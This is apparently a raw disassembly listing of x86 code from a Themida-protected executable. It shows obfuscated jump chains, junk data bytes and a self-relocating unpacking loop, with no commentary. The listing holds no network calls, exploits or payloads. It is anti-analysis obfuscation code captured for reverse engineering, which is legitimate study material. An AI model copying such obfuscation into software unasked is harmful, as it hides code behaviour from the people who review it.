or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push 0B2Ah
mov [esp], ebx
jmp loc_55A667
; ---------------------------------------------------------------------------
db 56h, 0BEh, 23h
dd 68147568h, 0
dd 0E9243429h, 0FFFF92CFh, 811C77FFh, 4528242Ch, 48B1258h
dd 0E1895124h, 4C181h, 0C1830000h, 0B3FFE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560C1E: ; CODE XREF: Themida_:0055781Bj
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_55834F
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 0E9000000h, 0FFFFA663h
; ---------------------------------------------------------------------------
loc_560C38: ; CODE XREF: Themida_:0055C70Fj
mov [esp], esi
mov esi, 11C78AFh
jmp loc_557233
; ---------------------------------------------------------------------------
loc_560C45: ; CODE XREF: Themida_:00554F60j
xor esi, [esp]
xor [esp], esi
jmp loc_555909
; ---------------------------------------------------------------------------
dd 68555A58h, 2, 81242C8Bh, 4C4h, 0E7EE8100h, 14AB50Bh
dd 0E7C681EEh, 5D4AB50Bh, 5C243487h, 24042166h, 3C50E99Ch
dd 0C820FFFFh, 5A545259h, 4C281h, 0EC830000h, 24348904h
dd 63C8B850h, 0CCBE7174h, 31717463h, 16E958C6h
db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560CA3: ; CODE XREF: Themida_:0055F539j
pop esp
add ebx, 4
sub esp, 4
mov [esp], ebx
jmp loc_55BC9D
; ---------------------------------------------------------------------------
db 58h, 0E9h, 6Fh
dd 66FFFF85h, 66787268h, 0B3241C89h, 66D8008Bh, 5251535Bh
dd 0E680CEB6h, 4F680D1h, 505AF588h, 0C788E888h, 7EE95958h
dd 89FFFF69h, 242C8BEFh, 8104C483h, 8E6C9BEFh, 5FFA0120h
dd 4EC81h, 0C890000h, 87FCE924h, 8B66FFFFh, 6851240Ch
dd 5E21h, 24048F54h, 4B951h, 0BFE90000h, 99FFFF4Ch, 0AC0054C9h
dd 0D7F874C7h, 414E9187h, 4005BAAh, 0F67FFE03h, 234Ch
dd 177DE700h, 2000002h, 1000000h, 5000000h, 0AC000000h
dd 0F874C7h, 4 dup(0)
dd 0FD000000h, 0B8005757h, 1005739h, 68005664h, 1300566Ch
dd 0B0005761h, 83005640h, 0D000574Bh, 7D00563Fh, 2A0056ACh
dd 7B005768h, 0FC00564Dh, 920056F2h, 6E0056B7h, 9C00575Dh
dd 31005690h, 0F50056C5h, 0D0056FDh, 540056CBh, 34005633h
dd 0AC005725h, 13005689h, 22005646h, 0D50056CDh, 0F90056EAh
dd 0B2005656h, 32005705h, 77005655h, 260056A2h, 0D500562Bh
dd 0E1005723h, 0C1005623h, 56005729h, 2C00564Ah, 24005697h
dd 0E7005679h, 6500571Eh, 0BE0056BFh, 3F0056ECh, 44005619h
dd 0B70056AAh, 0BE0056AFh, 0E6005644h, 1D0056A2h, 0DB00563Eh
dd 14005614h, 0E4005764h, 0C20056A4h, 2400567Fh, 0E90056C5h
dd 0BA005632h, 9700571Bh, 20005683h, 0EC00573Bh, 0E0056B1h
dd 44005701h, 25005712h, 0FF0056A8h, 5800567Fh, 0E2005615h
dd 5A00566Bh, 700056AAh, 7800573Eh, 0BE005744h, 3000566Dh
dd 4C00565Ch, 94005641h, 0FD005766h, 0CC00573Ch, 100056D2h
dd 7A005725h, 0E600574Eh, 0ED005706h, 8F005629h, 0AE005667h
dd 0F600573Fh, 3F005649h, 6F0056E6h, 3E005644h, 2B005757h
dd 6F0056CDh, 91005646h, 20005760h, 6C005738h, 33005647h
dd 5E005667h, 7900561Eh, 9C0056B8h, 0B005740h, 76005682h
dd 0F200572Dh, 8E005611h, 0C80056CDh, 0E3005620h, 200565Bh
dd 9F0056E2h, 0F200572Dh, 0AE005759h, 0C30056D9h, 0D000574Ah
dd 0C4005704h, 9D0056F9h, 0E0005725h, 72005678h, 2200573Bh
dd 0EF005688h, 0BD005765h, 0E2005743h, 13005631h, 0E3005622h
dd 770056BBh, 9800566Bh, 210056E2h, 930056FFh, 65005672h
dd 97005744h, 930056D7h, 0A9005735h, 630056D6h, 830056E8h
dd 7400566Eh, 0E600575Ah, 0A8005694h, 0AD0056C0h, 2A0056B4h
dd 17005723h, 0F1005751h, 60005704h, 630056BEh, 12005667h
dd 0CF005733h, 57005710h, 0BB00562Dh, 0E600568Fh, 510056CDh
dd 0D20056DBh, 0E400570Ch, 20005671h, 8B005706h, 0DD005731h
dd 26005731h, 0EC0056A3h, 20005711h, 7300573Fh, 0B2005707h
dd 0D0005611h, 0DC005700h, 0ED005701h, 5A0056A3h, 6D005631h
dd 9D00570Dh, 97005756h, 130056E5h, 0D70056C7h, 47005711h
dd 82005694h, 71005715h, 0D1005622h, 0DE0056FBh, 6A00570Bh
dd 0DD005656h, 690056D2h, 19005732h, 1D00563Bh, 0C5005713h
dd 1A0056ACh, 0C000569Bh
db 3Fh, 56h, 0
; ---------------------------------------------------------------------------
loc_560FFB: ; CODE XREF: Themida_:005A3CE5j
; Themida_:005AD445j
pusha
pushf
cld
call $+5
pop edi
sub edi, 7E14857h
mov eax, edi
add edi, 7E1456Fh
cmp eax, [edi+2Ch]
jnz short loc_561019
jmp short loc_56102C
; ---------------------------------------------------------------------------
loc_561019: ; CODE XREF: Themida_:00561015j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_561028
; ---------------------------------------------------------------------------
loc_561023: ; CODE XREF: Themida_:0056102Aj
add [edi+ecx*4+40h], eax
dec ecx
loc_561028: ; CODE XREF: Themida_:00561021j
or ecx, ecx
jnz short loc_561023
loc_56102C: ; CODE XREF: Themida_:00561017j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_561039: ; CODE XREF: Themida_:00561040j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_561039
loc_561042: ; CODE XREF: Themida_:loc_5628D8j
; Themida_:0056353Fj ...
lodsb
add al, 3Fh
sub al, bl
sub esp, 4
mov [esp], ebx
jmp loc_56218F
; ---------------------------------------------------------------------------
db 5Ch, 89h, 1Ch
dd 0BB24h, 0C3810000h, 0F510BACh, 191EEB81h, 0C301309Ch
dd 191EC381h, 0EB81309Ch, 0F510BACh, 0E9038F57h, 145F9h
dd 38E9F801h, 2C000050h, 241C8B6Ah, 4C481h, 3CE90000h
dd 1000063h, 0C68359CEh, 24343304h, 33243431h, 248B2434h
dd 724E924h, 0E9540000h, 10CE0h
; ---------------------------------------------------------------------------
loc_5610B4: ; CODE XREF: Themida_:0056CC27j
pop edx
sub esp, 4
mov [esp], esi
mov esi, 4
sub ebp, 2A420817h
sub ebp, 3CF20A7Ch
add ebp, esi
jmp loc_570080
; ---------------------------------------------------------------------------
loc_5610D3: ; CODE XREF: Themida_:00571107j
sub ebp, 6A001BAAh
and edi, ebp
jmp loc_56A7FC
; ---------------------------------------------------------------------------
dd 4401EA81h, 0EA810D94h, 28760730h, 0C281DA29h, 28760730h
dd 14C28E9h, 26E95300h
db 34h, 1, 0
; ---------------------------------------------------------------------------
loc_5610FF: ; CODE XREF: Themida_:00574852j
mov esp, [esp]
mov [esp], ebp
push edi
jmp loc_56A673
; ---------------------------------------------------------------------------
db 9
dd 0CF8159CFh, 73F867B0h, 5F64C781h, 0F78170C8h, 42E37266h
dd 123DB850h, 9EE93419h
db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56112B: ; CODE XREF: Themida_:0056C52Cj
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
or eax, eax
jz loc_5676CC
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_56490D
; ---------------------------------------------------------------------------
loc_56114E: ; CODE XREF: Themida_:00568D21j
not dword ptr [esp]
pop edx
xor edx, 832F0A9Dh
and esi, edx
pop edx
jmp loc_56B39B
; ---------------------------------------------------------------------------
loc_561160: ; CODE XREF: Themida_:00573A9Dj
or eax, 5AD61730h
or eax, 3937FD0h
sub eax, 7DB81878h
dec eax
shl eax, 2
add eax, 0D0207805h
xor edi, eax
pop eax
jmp loc_56B1E4
; ---------------------------------------------------------------------------
dd 8904EC83h, 9BE9243Ch, 8100007Bh, 0A02841F1h, 24048B08h
dd 0F304C483h, 386203A5h, 0DE268h, 240C8900h, 0AAD5E9h
dd 0D8B35300h, 43DDE951h, 8B660000h, 54532404h, 1596E95Bh
dd 5B5B0000h, 508FC380h, 0E6BDE9h
db 0
; ---------------------------------------------------------------------------
loc_5611C9: ; CODE XREF: Themida_:0056EDD9j
pop edx
push ecx
push 60C40842h
pop ecx
jmp loc_565462
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 0E0895024h, 1CBAE955h, 41BD0001h, 526E686Fh, 6C5C71BAh
dd 72DE92Bh, 28F0000h, 0FFFE49E9h, 4BBFFh, 0DE010000h
dd 0E0E8E95Bh, 0BF570000h, 3FE41180h, 3C8BFA21h, 4C48324h
dd 8904EC83h, 3ABF243Ch, 81ED959Ch, 376A72C2h, 4EC833Dh
dd 0BF243C89h, 6CD410A4h, 17E2E9h
db 0
; ---------------------------------------------------------------------------
loc_561235: ; CODE XREF: Themida_:00565511j
pop ebp
mov ecx, edx
pop edx
pop ebx
jmp loc_56BC18
; ---------------------------------------------------------------------------
loc_56123F: ; CODE XREF: Themida_:00562601j
mov ecx, [esp]
add esp, 4
jmp loc_571E3C
; ---------------------------------------------------------------------------
aBBwuwsbe db '˽}BWUWéBe',0
align 2
dw 815Fh
dd 0A87C1CEAh, 46D2E9EDh, 74BF0000h, 18118A7h, 24348BF7h
dd 4C481h, 0B9510000h, 23FC7FFBh, 0B9A3C181h, 0CE29F777h
dd 2764E959h, 0BA520001h, 11970AB3h, 0EF56EA81h, 0B5E9E43Dh
db 25h, 1, 0
; ---------------------------------------------------------------------------
loc_56129B: ; CODE XREF: Themida_:0056D199j
sub esp, 4
jmp loc_56EC3F
; ---------------------------------------------------------------------------
db 0B9h
dd 52AD47CEh, 6629F181h, 0CB891933h, 0DDF38159h, 5151D51Bh
dd 0E316BD55h, 895238B1h, 5AD189EAh, 0E9CB015Dh, 9B2Ah
dd 0E09BE957h, 4890000h, 0A7A0E924h, 80590000h, 0B652C6C3h
dd 1C680AFh, 0E07BE9h, 243C8900h, 320AFCBFh, 13B5E939h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5612F6: ; CODE XREF: Themida_:005746FCj
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_57590D
; ---------------------------------------------------------------------------
dw 248Bh
dd 241C8924h, 47BF5750h, 524BB95Eh, 0BAh, 87FA2900h, 0F7815AD7h
dd 0D51AA0C8h, 871CE9h
db 0
; ---------------------------------------------------------------------------
loc_56132D: ; CODE XREF: Themida_:0056C25Dj
sub eax, 30517826h
dec eax
sub eax, 0DA99A6BAh
shl eax, 2
jmp loc_56F30D
; ---------------------------------------------------------------------------
dd 8B93EB80h, 0C481240Ch, 4, 0C3FED3F6h, 50D9F380h, 8805B151h
dd 0E8C059C8h, 0E9D0F607h, 399h
; ---------------------------------------------------------------------------
loc_561364: ; CODE XREF: Themida_:0056D26Bj
xchg ebx, [esp]
jmp loc_568C91
; ---------------------------------------------------------------------------
dd 83241C8Bh, 0C28104C4h, 0C300F858h, 148BD709h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push edi
mov edi, 48EE7C30h
sub edi, 8B3572h
jmp loc_575090
; ---------------------------------------------------------------------------
loc_561397: ; CODE XREF: Themida_:0056BB26j
mov edx, [esp]
add esp, 4
push esi
jmp loc_56509F
; ---------------------------------------------------------------------------
db 89h
dd 0EC8359CAh, 0E662E904h, 0D9010000h, 53241C8Bh, 0C381E389h
dd 4, 6C4DE9h, 9AE94500h, 8100007Dh, 2B52FCEFh, 8BF8015Fh
dd 0C483243Ch, 0E2895204h, 4C281h, 0EA830000h, 24148704h
dd 2404895Ch, 10E0BE9h, 14E95F00h, 890000CAh, 3D64E9E3h
dd 2C890000h, 6B3CBD24h, 4BB939E1h, 0E96BD03Dh, 0A066h
dd 5C243487h, 2092EB81h, 0D301210Fh, 13A88E9h
db 0
; ---------------------------------------------------------------------------
loc_56141D: ; CODE XREF: Themida_:00561AF5j
add ebx, edi
pop edi
pop esi
sub ebx, 3DD39AEh
jmp loc_565912
; ---------------------------------------------------------------------------
loc_56142C: ; CODE XREF: Themida_:0056503Cj
sub edi, 8F93A30Bh
or edx, edi
pop edi
jmp loc_56C829
; ---------------------------------------------------------------------------
loc_56143A: ; CODE XREF: Themida_:0056F968j
push dword ptr [esp]
jmp loc_56E6BA
; ---------------------------------------------------------------------------
aS_36 db ']éš$',0
align 4
loc_561448: ; CODE XREF: Themida_:00571574j
mov ecx, [esp]
add esp, 4
add edx, ebx
mov ebx, [esp]
jmp loc_563539
; ---------------------------------------------------------------------------
loc_561458: ; CODE XREF: Themida_:00563F31j
pop edx
jmp loc_5663B2
; ---------------------------------------------------------------------------
aISV db '‰Êé%v',0
dd 7E4F6800h, 3C890000h, 89EF8924h, 0CBE95FFEh, 0C1FFFFFFh
dd 814205EAh, 3BAF4CC2h, 0C7EE8161h, 11DD268h, 0C7C681D6h
dd 0E91DD268h, 25C0h, 4C481h, 0E9510000h, 4EE6h, 8104EAC1h
dd 0E34B6ECAh, 0DAC28136h, 52E10A2Fh, 0E5242C81h, 595F1B29h
dd 29E5C181h, 895A5F1Bh, 0C53BE9CAh, 6B90000h, 6871E151h
dd 3CB7h, 51EE9h
db 0
; ---------------------------------------------------------------------------
loc_5614D5: ; CODE XREF: Themida_:00572653j
pop esp
jmp loc_56E890
; ---------------------------------------------------------------------------
db 66h
dd 50240C8Bh, 0AA79E9h, 243C8B00h, 4C481h, 0D2F70000h
dd 0EA81D2F7h, 8C567EBh, 21F0E981h, 0D1297639h, 21F0C181h
dd 15A7639h, 95B850F9h, 4811EF4Eh, 10D5DE9h, 4C18100h
dd 57000000h, 4BFh, 5FF90100h, 5C240C87h, 4EC81h, 34890000h
dd 2BE24h, 0E9810000h, 1AD15B88h, 54E2E9h, 0FE015D00h
dd 81243C8Bh, 4C4h, 24348700h, 0E924248Bh, 12359h, 51240C8Bh
dd 0D3D2E9h
db 0
; ---------------------------------------------------------------------------
loc_561561: ; CODE XREF: Themida_:0056632Bj
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
not cl
inc cl
sub cl, 43h
sub bl, 36h
sub bl, cl
push dx
mov dh, 36h
jmp loc_568856
; ---------------------------------------------------------------------------
dd 5C241487h, 0E9241C89h, 0DB38h, 5E2434FFh, 1316BE9h
db 0
; ---------------------------------------------------------------------------
loc_56159D: ; CODE XREF: Themida_:0056BD39j
xor edi, ebp
jmp loc_56F1D6
; ---------------------------------------------------------------------------
loc_5615A4: ; CODE XREF: Themida_:00570D9Ej
sub edi, 67DCAA1Fh
add edx, edi
pop edi
add edx, 4
xchg edx, [esp]
pop esp
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
not dword ptr [esp]
jmp loc_571F88
; ---------------------------------------------------------------------------
dw 0C483h
dd 0E9595A04h, 0F9A6h
; ---------------------------------------------------------------------------
loc_5615D8: ; CODE XREF: Themida_:0056879Cj
add ebx, 4
push edi
mov edi, 4
jmp loc_56ED9C
; ---------------------------------------------------------------------------
db 1, 0FBh, 0E9h
dd 411Fh, 2B0F1C05h, 4875F3Dh, 24248B24h, 4C481h, 0DB680000h
dd 89000072h, 9DE9242Ch, 6600006Ch, 0E9C8B60Fh, 0EBD8h
dd 0D80075B3h, 83241C8Bh, 0DC0404C4h, 1EEFE9h, 4C48100h
dd 2C000000h, 0B55153CAh, 2861B7CAh, 685059EFh, 4C58h
dd 82EEE9h, 5FFD8900h, 3DE98158h, 1057064h, 3204E9E9h
dd 0C8B0000h, 4C48324h, 0F7564E5Dh, 1E92414h, 0FF00009Fh
dd 8B042474h, 0C4832414h, 24048F04h, 85B1E9h, 49796800h
dd 7AE949EFh, 50000006h, 4B8h, 0E9C30100h, 150D1h
; ---------------------------------------------------------------------------
loc_561690: ; CODE XREF: Themida_:0056A724j
pop ecx
jmp loc_56292C
; ---------------------------------------------------------------------------
dw 885Bh
dd 240C8BCEh, 8804C483h, 24148BF3h, 4C481h, 0E9580000h
dd 1313Fh, 6EBDBB53h, 0DE0971C5h, 35F2E9h
db 0
; ---------------------------------------------------------------------------
loc_5616BD: ; CODE XREF: Themida_:00572D71j
mov ebp, 0A445195Dh
sub ebp, esi
jmp loc_56F4FC
; ---------------------------------------------------------------------------
db 0BEh, 89h, 56h
dd 0C68166E0h, 0C404C3C1h, 8DE9F031h, 9000000h, 0E9815FF9h
dd 4D812143h, 77D8E981h, 52E9BCCEh, 8B000023h, 0C481240Ch
dd 4, 8A3BE9h, 3E8C000h, 962CFB24h, 8058C308h, 0EB808AEBh
dd 5BD9889Bh, 0F6048804h, 0F62CC828h, 59882Ch, 66E951D8h
db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_561723: ; CODE XREF: Themida_:0056ACADj
add esp, 4
jmp loc_571A51
; ---------------------------------------------------------------------------
dw 0EF81h
dd 4, 8B243C87h, 34892424h, 73C26824h, 4890000h, 73C0B824h
dd 0C2BE412Fh, 0E9412F73h, 0E81h, 0F22A82Dh, 0E9D8011Bh
dd 0F5B4h
; ---------------------------------------------------------------------------
loc_561760: ; CODE XREF: Themida_:00562AD2j
add esp, 4
jmp loc_56411F
; ---------------------------------------------------------------------------
dd 31F0315Eh, 0E9F031C6h, 9CCh
; ---------------------------------------------------------------------------
loc_561774: ; CODE XREF: Themida_:00565061j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
push edx
mov edx, 4
add edi, edx
jmp loc_576831
; ---------------------------------------------------------------------------
loc_561793: ; CODE XREF: Themida_:00566F7Fj
add esp, 4
jmp loc_566FDA
; ---------------------------------------------------------------------------
loc_56179B: ; CODE XREF: Themida_:0056C27Ej
push edx
jmp loc_576964
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 53000000h, 0F800B9B7h, 14E84E9h
db 0
; ---------------------------------------------------------------------------
loc_5617B1: ; CODE XREF: Themida_:005732FDj
add ebp, 0AF96DE47h
jmp loc_5753D1
; ---------------------------------------------------------------------------
dd 0BA241489h, 6E9D7075h, 8106E2C1h, 0AD020EC2h, 0C5BAE934h
dd 0FF510000h, 8B042474h, 0BDE9240Ch, 590000D1h, 4C281h
dd 14870000h, 48F5C24h, 24248B24h, 1320CE9h
db 0
; ---------------------------------------------------------------------------
loc_5617F5: ; CODE XREF: Themida_:00575487j
sub al, cl
jmp loc_56AEF5
; ---------------------------------------------------------------------------
dd 0EC83E789h, 241C8904h, 533C2CBBh, 83D3F713h, 0E1E901EBh
db 52h, 1, 0
; ---------------------------------------------------------------------------
loc_561813: ; CODE XREF: Themida_:0056193Aj
pop ecx
push dword ptr [esp]
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5687AB
; ---------------------------------------------------------------------------
dw 0C89h
dd 4152E924h, 0C7830001h, 33A6E902h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_561852: ; CODE XREF: Themida_:00564CAAj
add esp, 4
inc edi
push edx
push 13047DCDh
pop edx
and edx, 52251441h
push ebx
mov ebx, 3EA668DAh
jmp loc_5639F9
; ---------------------------------------------------------------------------
db 8Bh, 2Ch, 24h
dd 4C481h, 8B560000h, 83E9243Ch, 5000147h, 304E1734h, 8124348Bh
dd 4C4h, 0D8015D00h, 61368h, 24148900h, 0E0076BAh, 62CA8122h
dd 0E9305E30h, 39FCh, 0BD242C89h, 5C47A103h, 0E95DEF29h
dd 9E72h, 8B5A6A04h, 0C481241Ch, 4, 3CD368h, 241C8900h
dd 4EC81h, 0C890000h, 5241B524h, 7BE9E289h, 0B9000142h
dd 447B17EFh, 0E628E9h, 4C48100h, 0E9000000h, 5F21h
; ---------------------------------------------------------------------------
loc_5618F8: ; CODE XREF: Themida_:005650A9j
add esp, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_5716AD
; ---------------------------------------------------------------------------
loc_561906: ; CODE XREF: Themida_:00566509j
add esp, 4
push ebp
mov ebp, 4
add ecx, ebp
pop ebp
push 248Bh
mov [esp], edx
jmp loc_56CD08
; ---------------------------------------------------------------------------
db 0C1h
dd 0EAC108EAh, 3BF28104h, 314BAAA5h, 1BE95AD5h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_561933: ; CODE XREF: Themida_:00569569j
mov [esp], ecx
mov cl, dl
mov bl, cl
jmp loc_561813
; ---------------------------------------------------------------------------
db 0FFh
dd 0C8B2434h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
dd 0F326851h, 24890000h, 24048324h, 0EC835904h, 24048904h
dd 0D83EE952h, 57510000h, 6037F7BFh, 41CF8762h, 0D7F7CF87h
dd 0C0EF814Fh, 893CE925h, 0CA895FF9h, 83240C8Bh, 0D2E904C4h
db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_561997: ; CODE XREF: Themida_:0056CDE1j
pop eax
add eax, 4
add eax, 4
push ecx
push esp
pop ecx
push edi
jmp loc_566BA8
; ---------------------------------------------------------------------------
loc_5619A9: ; CODE XREF: Themida_:00566027j
sub eax, 4
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
pop eax
jmp loc_565836
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0E2E9D801h
db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5619CB: ; CODE XREF: Themida_:00568592j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5648B4
; ---------------------------------------------------------------------------
dw 0E957h
dd 1643h, 43A668h, 24048900h, 0FCE9E089h, 89000074h, 7EBA2414h
dd 81021618h, 2C9F15EAh, 0E9D13193h, 414Dh, 0E9C68959h
dd 13BB4h
; ---------------------------------------------------------------------------
loc_561A10: ; CODE XREF: Themida_:00574AB8j
mov ecx, edi
pop edi
xor esi, ecx
pop ecx
jmp loc_561AE7
; ---------------------------------------------------------------------------
db 0B8h
dd 22666687h, 25E912Dh, 2EE81E3h, 177DB68h, 2C681C6h, 5877DB68h
dd 8324048Bh, 0A1E904C4h, 81000066h, 4EDh, 1404E900h, 10BA0001h
dd 0F75BA777h, 0E9EAD1DAh, 19Ah, 8B2414F7h, 0C4832414h
dd 31CA8104h, 814F8D0Ah, 0CD0ABBF2h, 24C3817Fh, 81146771h
dd 9B5FF7C3h, 21D7E95Eh
db 1, 0
; ---------------------------------------------------------------------------
loc_561A7E: ; CODE XREF: Themida_:0056BBD3j
xor ebx, [esp]
pop esp
sub esp, 4
mov [esp], edi
jmp loc_5695A7
; ---------------------------------------------------------------------------
dd 4246C81h, 608A1C1Ah, 75F268h, 0F847E900h, 5A54FFFFh
dd 4BD55h, 0EA810000h, 36D2447h, 0C281EA01h, 36D2447h
dd 4BB535Dh, 1000000h, 3A9FE9DAh
db 1, 0
; ---------------------------------------------------------------------------
loc_561AC6: ; CODE XREF: Themida_:005753C2j
shl eax, 6
or eax, 36DC73F5h
jmp loc_56A418
; ---------------------------------------------------------------------------
db 89h
dd 0EC83243Ch, 0D86FE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_561ADE: ; CODE XREF: Themida_:0056ED9Fj
xchg ebx, [esp]
pop esp
jmp loc_573E0A
; ---------------------------------------------------------------------------
loc_561AE7: ; CODE XREF: Themida_:00561A16j
sub ebx, 5DFD5F1Dh
sub ebx, esi
push edi
mov edi, 5DFD5F1Dh
jmp loc_56141D
; ---------------------------------------------------------------------------
dw 8B59h
dd 0C4832404h, 3DC68004h, 5BC580h, 5BED80F5h, 8BE8305Ah
dd 0C481240Ch, 4, 0E1685650h, 0E9000020h, 5FBFh, 4EC8352h
dd 0BB241C89h, 32911FFFh, 8102EBC1h, 513497C3h, 5FE95151h
dd 1000089h, 0FA015FFAh, 6379EA81h, 0EA817D39h, 3D376A72h
dd 0E9D0015Fh, 66E7h, 31240433h, 4CE92404h
db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_561B63: ; CODE XREF: Themida_:0057129Aj
pop edi
jmp loc_561DD5
; ---------------------------------------------------------------------------
dd offset dword_5A9668
align 2
dw 3489h
dd 4BE24h, 0F2290000h, 99E9525Eh, 8100007Ch, 0FD6D51C5h
dd 0EAEFE96Eh, 2D680000h, 0E93ED503h, 107A6h, 1DBCED81h
dd 37686A6Ch, 89000008h, 11BA2414h, 811E6579h, 902774CAh
dd 28C28128h, 2911C45Fh, 0E9015AD5h, 4BE9815Dh, 0E9171F74h
dd 102EFh, 0EE2851B6h, 56240C8Bh, 0C681E689h, 4, 6804C683h
dd 0AACh, 0FF243489h, 5E042474h, 5C24048Fh, 3059CE30h
dd 45AFE9F0h, 0EAC10001h, 72AF6805h, 14890000h, 7DE1E924h
dd 0F1BF0000h, 297D7092h, 0A112E9FDh, 0EF810000h, 54F7927Dh
dd 0C461E32Dh, 67EE2D05h, 0F8010E21h, 67EEBB53h, 0D8010E21h
dd 4EC815Bh, 89000000h, 0BF68241Ch, 5B532A68h, 0F924BF57h
dd 0FB01B299h, 8BD8015Fh, 0C483241Ch, 243C8B04h, 4C481h
dd 0C3310000h, 0B60F66h, 628A68h, 241C8900h, 0C381E389h
dd 4, 2B951h, 0EC810000h, 4, 1488BE9h, 59CE3100h, 555EF589h
dd 6C240481h, 5F73F340h, 406CEF81h, 0AEE973F3h, 49FFFFF8h
dd 5959C181h, 0E9833DC6h, 0D1D9F701h, 81D1F7E9h, 7E0D51E9h
dd 59CB019Fh, 79F3E9h, 0B4C78100h, 18797B8h, 0BA525FFBh
dd 28CF1F19h, 1F1DF281h, 0E95728CFh, 13A53h, 12AF68h, 241C8900h
dd 0EBB45066h, 8B66E388h, 0C4832404h, 5FE38002h, 8007EBC0h
dd 885220CBh, 88D2F6DAh, 0E3C05AD3h, 0DAEB8005h, 5D71E9h
dd 2D485800h, 1622EC3h, 0E958C389h, 12132h, 89240C89h
dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 8EE3815Ch, 510E8F46h
dd 3E6B40B9h, 59CB2156h, 4EC8350h, 55240C89h, 880514BDh
dd 0DDF7452Dh, 6FED8145h, 556F729Dh, 6B243481h, 591C950Eh
dd 0E6BF181h, 815D1C95h, 0D5BD40C1h, 8BC889DCh, 0C481240Ch
dd 4, 2B7D68h, 0B2AEE900h, 14870000h, 48F5C24h, 5441E924h
dd 0C2810000h, 4, 0E904C283h, 5289h, 405h, 4C08300h, 0E9240487h
dd 92A5h, 0F2A0E9C3h, 0EA81FFFFh, 391B0FC5h, 0E3DBE9h
db 0
; ---------------------------------------------------------------------------
loc_561DAD: ; CODE XREF: Themida_:005746A1j
xchg ebp, [esp]
pop esp
jmp loc_566F19
; ---------------------------------------------------------------------------
dw 0C381h
dd 132F5870h, 3867EB81h, 6DE96368h
db 22h, 1, 0
; ---------------------------------------------------------------------------
loc_561DC7: ; CODE XREF: Themida_:00572F76j
pop ebp
add edx, 14E51287h
add edx, ecx
jmp loc_56F534
; ---------------------------------------------------------------------------
loc_561DD5: ; CODE XREF: Themida_:00561B64j
add edi, 4
add edi, 4
jmp loc_566600
; ---------------------------------------------------------------------------
dw 0B850h
dd 0D6256ECh, 6256EA2Dh, 4EC830Dh, 0FF240489h, 3C8B2434h
dd 4C48324h, 175DE9h, 2434FF00h, 52240C8Bh, 0C281E289h
dd 4, 4EC81h, 2EE90000h, 5D00014Ch, 488168h, 9833E900h
dd 4BB0000h, 1000000h, 0EA835BDAh, 630E904h, 0EC810000h
dd 4, 82C1E9h, 4C58100h, 0E9000000h, 13550h, 8108E1C1h
dd 50F65DC1h, 543EE9C7h, 0AD660000h, 634C68h, 243C8900h
dd 3953BF66h, 83534766h, 2C8904ECh, 0F3686624h, 2C8B665Bh
dd 2C48324h, 2EED8166h, 0F5816660h, 8166512Eh, 0E9AC36F5h
dd 338Bh
; ---------------------------------------------------------------------------
loc_561E94: ; CODE XREF: Themida_:0056AAE1j
sub dh, 33h
or cl, dh
mov edx, [esp]
jmp loc_5767D1
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 24048F5Ch, 0F24248Bh, 0C068C8BEh, 8900005Fh, 87E9240Ch
dd 81FFFFF1h, 151108EAh, 81DA011Eh, 151108C2h, 0BE565B1Eh
dd 67DE71B6h, 5236E951h, 24680000h, 89000049h, 4B82404h
dd 1000000h, 0C8758C1h, 0EB685C24h, 8900003Ch, 4BE2434h
dd 81000000h, 0D36F23EAh, 55F2016Dh, 0D9F8E9h, 8EEC000h
dd 3044F680h, 0CDFE5AF5h, 8033B353h, 0ED80CDC3h, 80DD0052h
dd 0B35B52C5h, 0C0EB80E6h, 0C380EB00h, 885059C0h, 58C688D8h
dd 241C8B66h, 0C002C483h, 0F68004E6h, 2EC81BAh, 66000000h
dd 51241C89h, 0CB88F188h, 0E30FE9h
db 0
; ---------------------------------------------------------------------------
loc_561F51: ; CODE XREF: Themida_:00568A2Ej
push 699D0A2Ch
mov edi, [esp]
jmp loc_5746F3
; ---------------------------------------------------------------------------
loc_561F5E: ; CODE XREF: Themida_:00576B2Fj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
and esi, edx
pop edx
jmp loc_56DE6F
; ---------------------------------------------------------------------------
dw 0ED81h
dd 208525C3h, 0C581CD29h, 208525C3h, 1A57E9h
db 0
; ---------------------------------------------------------------------------
